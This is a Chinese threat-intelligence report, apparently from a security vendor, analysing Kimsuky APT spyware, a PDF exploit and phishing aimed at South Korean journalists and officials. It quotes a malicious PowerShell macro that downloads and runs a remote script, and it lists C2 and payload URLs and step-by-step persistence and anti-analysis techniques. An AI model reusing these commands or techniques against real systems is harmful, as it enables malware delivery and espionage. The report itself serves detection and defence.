韩国新闻工作者沦为Kimsuky APT的“掌上玩物”
韩国新闻工作者沦为Kimsuky APT的“掌上玩物”
一、概述
Kimsuky APT组织据悉是具有国家背景的先进网络间谍组织,一直针对韩国、俄罗斯等政府机构开展网络威胁间谍活动,窃取高价值情报是该组织的主要目的。
微步情报局近期通过威胁狩猎系统监测到Kimsuky APT组织使用KGH间谍组件、PDF漏洞以及针对韩国新闻工作者等攻击活动,分析有如下发现:
攻击者将KGH间谍组件伪装成浏览器扩展组件,诱导用户执行;
在KGH间谍组件中使用多种手段如反沙箱、反虚拟机、反调试等对抗分析;
相关KGH组件在目标主机上以服务方式隐蔽运行,可响应C2服务器10余种远程指令;
此次攻击活动中的相关样本基本延续了以往攻击活动中KGH间谍组件的功能,有一定程度的拓展;
攻击者使用CVE-2020-0986提权漏洞搭配KGH间谍组件使用;
所使用攻击组件针对性强,定向攻击特征明显;
攻击者疑似向目标发送简历模板文档进行攻击活动;
Kimsuky使用PDF漏洞CVE-2020-9715对韩国政府相关机构进行定向攻击;
此外还冒充KISA员工,对韩国媒体“朝鲜日报”新闻工作者李光白进行定向攻击;
微步在线通过对相关样本、IP 和域名的溯源分析,提取多条相关 IOC ,可用于威胁情报检测。微步在线威胁感知平台 TDP 、本地威胁情报管理平台 TIP 、威胁情报云 API 、互联网安全接入服务 OneDNS 、主机威胁检测与响应平台 OneEDR 等均已支持对此次攻击事件和团伙的检测。
二、详情
2.1利用KGH间谍组件攻击
攻击者将KGH间谍木马伪装成“安全组件扩展安装程序”,运行之后将会弹出消息框提示“扩展已添加到Whale浏览器”,Whale浏览器是韩国Naver公司开发的免费网页浏览器,在韩国有一定的市场占有率。实际运行完之后将会安装KGH间谍组件,最终主机被攻击者远程控制。
图[1] 伪装为安装程序的KGH间谍组件
2.2以个人经历模板为诱饵进行攻击
攻击者疑似以招聘名义向目标发送个人经历文档,文档仅为固定模板格式,本身并不包含实际有效内容,利用模板注入技术,使用多阶段载荷进行攻击。
图[2] 以“BIO”为主题的诱饵文档
2.3利用PDF漏洞攻击
Kimsuky以朝韩政府相关话题为诱饵,使用携带PDF漏洞的文档对特定单位进行攻击,当用户通过未更新的Adobe Acrobat程序打开PDF文档触发漏洞后,间谍模块将会得到安装。
제4기AMP 안내자료.pdf (第四期和平经济首席执行官课程”) | ooo.pdf (南北首脑协议国会批准同意和实现韩半岛和平体制) |
图[3] 携带漏洞的PDF文档
2.4冒充韩国KISA对新闻工作者进行攻击
Kimsuky冒充KISA(韩国互联网安全局)员工向韩国媒体“朝鲜日报”新闻工作者李光白定向投递钓鱼邮件,同样使用多阶段载荷进行攻击。
图[4] Kimsuky冒充KISA员工向目标发送钓鱼邮件
三、样本分析
3.1 KGH间谍组件
第一阶段:安装
样本执行后首先检查注册表项 HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\.NET NData 是否存在,如果存在代表已经安装成功,将会退出流程,此注册表项作为感染标记,安装成功后将会设置为服务项名称。
样本使用了多种手段进行环境侦察,例如加载特定dll(3rgs.dll)、检查CPU核心数量是否大于1个、使用ZwSetInformationThread、检查Process标志位、使用NtQueryInformationProcess、检查硬件断点等进行反沙箱、反虚拟机化、反调试操作,检查完毕后,从资源中加载PE模块,与0x1B按字节异或后释放到%Temp%\dwr.db。
图[5] 从资源中加载PE模块
接着枚举主机注册表HKLM\Software\\Microsoft\\Windows NT\\CurrentVersion\\Svchost下的netsvcs组信息,逐个检查是否存在对应服务,将不存在的收集起来放入数组中,随机从数组中取出一个作为后续要创建的服务名称。
图[6] 枚举netsvcs组信息
取得服务名称后,拼接以下字符串,保存到%Temp%\wed.bat并执行,利用bat文件完成安装流程。
图[7] 利用bat文件完成安装
wed.bat文件的执行流程如下:
将%Temp%\dwr.db移动到C:\Windows\System32\winfix.dll;
在服务注册表里添加上面服务名称与服务参数键值“ServiceDll”,路径为C:\Windows\System32\winfix.dll;
在服务注册表里添加服务描述信息“Windows Management Instrumentation Framework”;
创建指定名称的服务项;
创建注册表项 HKLM\SOFTWARE\Microsoft\.NET NData,sign,值为上面的服务名称,作为感染标记;
启动服务;
删除bat文件;
最后将会以MessageBox弹出韩文对话框提示,意为“扩展已添加到Whale浏览器”,再借用bat文件进行自删除。
图[8] 弹出提示框并自删除
第二阶段:服务执行
经过上述安装流程后,模块winfix.dll以服务方式运行,执行后首先在DllMain函数中检查宿主进程是否是svchost,如果不是将会退出流程。
图[9] 检查父进程是否是svchost
接着ServiceMain函数启动后,同样会检查感染标记,如果无感染标记将不会进入主流程。
图[10] 设置注册表感染标记
创建名为"B4ujfw9iekfak32w4"的文件共享内存,将C2配置http://support-hosting.000webhostapp.com/home/放入共享内存。
图[11] 将C2配置放入共享内存
之后从资源中加载下阶段PE模块,并于0x1B按字节异或,在内存中展开执行,每隔40~80分钟调用其名为“out”的导出函数。
图[12] 内存加载核心模块并调用其导出函数
此外,还会开启线程进行反调试操作,每隔3~6秒检查是否有硬件断点,如果检查到将会终止进程。
图[13] 反调试线程
第三阶段:远程控制
上个阶段加载的模块从文件PE结构中可以看到该模块被命名为“KGH_Backdoor.dll”。
图[14] PE结构中的Dll名称
其得到执行后在DllMain函数中首先收集主机信息,包括UserName、ComputerName、系统平台,样本随后将使用ComputerName作为主机ID。
图[15] 收集主机信息
之后从共享内存中获取C2配置以初始化配置,在导出函数out中,以HTTP GET方法向服务器请求下载文件保存到%Temp%\n.x。
{C2配置} ?act=newswidth:216.433px">
KGH另一套指令格式
此次攻击活动组件中的指令格式
图[22] KGH间谍组件两套指令格式对比
3.3 以“BIO模板”为主题的攻击
近期发现Kimsuky向目标发送疑似 “BIO”(意味个人简历)模板文档进行攻击活动,文档中利用模板注入的手法从服务器加载远程模板。
URL:http://zhtjfde.mypressonline.com/officeDocument/2006/relationships/BIOStyle.dotm
图[23] 使用模板注入手法加载远程模板
而所加载的模板携带了恶意宏,利用powershell从远程服务器下载执行脚本,体现了Kimsuky多阶段载荷的特点。
"$fjeils={(New-Object Net.WebClient).Dring('http://outwd.myartsonline.com/yu/ls.txt')};[string]$aiwdf=$fjeils;$ndask=$aiwdf.insert(28,'ownloadst');$bmcns=iex $ndask;iex $bmcns" |
图[24] 文档中携带的恶意宏
3.4 PDF漏洞CVE-2020-9715
使用PDF漏洞在Kimsuky以往的攻击活动中并不常见,但近期发现该组织使用PDF文档相关漏洞CVE-2020-9715进行攻击活动。该组织以朝韩政府相关话题为诱饵向目标发送恶意PDF文档,用户通过未更新的Adobe Acrobat程序打开PDF文档后,将会执行恶意JavaScript代码,并在内存中运行恶意模块。
图[25] 疑似攻击者向目标发送的包含恶意pdf文档附件的钓鱼邮件
(图片来源:https://twitter.com/cyberwar_15/status/1423583200853446657)
PDF文档内容以相关政府话题为诱饵,携带有JavaScript流数据。
图[26] PDF文档中的JavaScript流数据
PDF文档得到执行后,创建存储在对象缓存中的数据ESObject,再删除对数据ESObject对象的引用,但其地址仍在对象缓存中。
图[27] 漏洞利用代码片段1
之后访问对象缓存中已经释放的数据ESObject对象,最终触发UAF漏洞执行Shellcode,与网络上公开的CVE-2020-9715漏洞概念验证代码高度相似。
图[28] 漏洞利用代码片段2
ShellCode得到执行后,将会获取AdobeARM.exe路径,创建一份挂起的进程。
图[29] 漏洞触发后创建挂起的进程AdobeARM.exe
将核心PE模块注入执行。
图[30] 注入执行
PE模块执行后首先通过注册表检查SystemProductName是否包含Virtual来进行反虚拟机操作。
图[31] 反虚拟机操作
查找进程名称中含有V3的进程,并向其发送WM_CLOSE关闭窗口消息。
图[32] 关闭特定窗口
之后每隔50~60分钟从服务器下载文件保存到%Appdata%\adobe\AdobeAdv.dll,直到下载成功,下载URL:tksRpdl.atwebpages.com\ccom2\download.php?filename=ccom2。
图[33] 从服务器下载文件数据
下载时进行简单检验,第一个字节=0xB3,第二个字节=0xA4。
图[34] 校验下载数据
下载完成后与0xFE按字节异或解密,再以LoadLibrary加载执行,截止分析时服务器已无法正常下载。
图[35] 异或解密并加载执行模块
此外我们看到有疑似攻击者测试用的PDF样本,功能为仅运行calc.exe。
图[36] 测试样本中仅执行calc.exe
其在5月7日就已被上传到VirusTotal,且上传地为韩国,使用韩国代理节点在Kimsuky以往的攻击活动中经常出现,推测攻击者在5月份就已经测试好相关攻击工具。
图[37] VirusTotal中的样本上传信息
3.5 冒充韩国KISA对新闻工作者进行鱼叉邮件攻击
KISA为“韩国互联网安全局”,在之前Kimsuky曾伪装KISA制作移动端木马APP,对特定部门进行定向攻击。近期发现该组织同样冒充KISA员工,对韩国媒体 “朝鲜日报”新闻工作者李光白进行定向攻击。
攻击者以“210813_业务联系(网络安全)”为主题向目标投递钓鱼邮件,其冒充的KISA员工身份容易让目标降低警惕,而邮件中仅包含一个word文档附件,并没有其他正文内容。
图[38] 攻击者向新闻工作者李光白发送的钓鱼邮件
当目标尝试打开附件文档时,将会提示输入密码,但攻击者并没有在邮件中注明密码,故需要目标主动联系黑客索要密码,这在一定程度上可以辅助攻击者了解目标是否收到邮件、是否有意向查看文档等信息,同时也可以规避安全软件的检查,以及阻止样本被安全人员分析。
图[39] 附件为带有密码保护的文档
当目标向攻击者索要密码,攻击者就会立即回复,并重新发送带有密码的邮件。攻击者在邮件中假意致歉,称密码为“cyber08^”,邮件和文档中的署名均为“韩国互联网安全局综合分析组高级研究员金东旭”,国外媒体批露,该人已被证实确实为KISA员工,表明Kimsuky组织已经通过信息收集工作掌握特定人员信息。
图[40] 攻击者的回复邮件内容
(图片来源:https://www.dailynk.com/20210817-4)
附件文档携带恶意宏,诱导用户启用宏,启用宏前后对比如下。
启用宏前 | 启用宏后 |
图[41] 文档启用宏前后对比
在携带的恶意宏中将脚本代码释放到Templates目录下1589989024.xml,利用wscript从服务器下载执行下阶段脚本代码,分析该样本时已无法正常下载,但在以往Kimsuky的攻击活动中,经常看到此类攻击手法,该组织擅长使用多阶段载荷进行攻击。
下载URL:http://bipaf.org/bbs/zipcode/auth/a4b5e82/586f0a/list.php?query=1
图[42] 从服务器下载执行下阶段脚本载荷
四、关联分析
KGH间谍套件非常具有代表性,在分析过程中,从样本中可以看到多处KGH字样,比如样本中出现的pdb路径:G:\KGH\SPY\VC_SPY\OneTroy\ServiceInstall\Release\ServiceInstall.pdb。
图[43] 样本中的pdb路径信息
以及核心模块的命名KGH_Backdoor.dll,明确标注了模块的功能属性,KGH间谍组件的命名即是在以往攻击活动中发现的这些富有特点的名称。
图[44] 样本中的Dll名称
与以往攻击活动中样本(66fc8b03bc0ab95928673e0ae7f06f34f17537caf159e178a452c2c56ba6dda7)进行对比,也发现存在高度一致性,开发者在原有组件的基础上进行了拓展,例如远程指令的拓展:
以往攻击活动样本 | 本次攻击活动样本 |
图[45] KGH组件远程指令的拓展
多阶段载荷也是Kimsuky的攻击手法特点之一,其最终的模块执行通常要通过多阶段的脚本下载执行,而其URL格式也具备一定的特点,例如在冒充韩国KISA的攻击活动中看到的URL与之前攻击活动中的对比:
http://miracle.designsoup.co.kr/user/views/resort/controller/css/update/list.php?query=1 | http://bipaf.org/bbs/zipcode/auth/a4b5e82/586f0a/list.php?query=1 |
以往攻击活动 | 冒充KISA对新闻工作者的攻击活动 |
利用Powershell执行下阶段脚本载荷也是Kimsuky惯用的攻击手法,在上面以BIO为主题的钓鱼攻击中就出现此种攻击手法,与之前的攻击手法也同样类似。
http://quarez.atwebpages.com/ds/le.txt | http://outwd.myartsonline.com/yu/ls.txt |
以往攻击活动 | 以BIO为主题的钓鱼攻击 |
五、结论
Kimsuky APT组织近期一直保持活跃状态,积极进行相关情报搜集工作,其攻击活动呈现多阶段载荷、基础设施高复杂度等特点。我们观察到Kimsuky一直在持续开发新的工具以及旧工具的变种,且近期使用多种漏洞针对特定机构进行定向攻击,使用社会工程学方案是Kimsuky惯用的攻击手法之一,在整个攻击过程中攻击者使用了多种手段进行反虚拟机、反沙箱、反调试等进行分析对抗。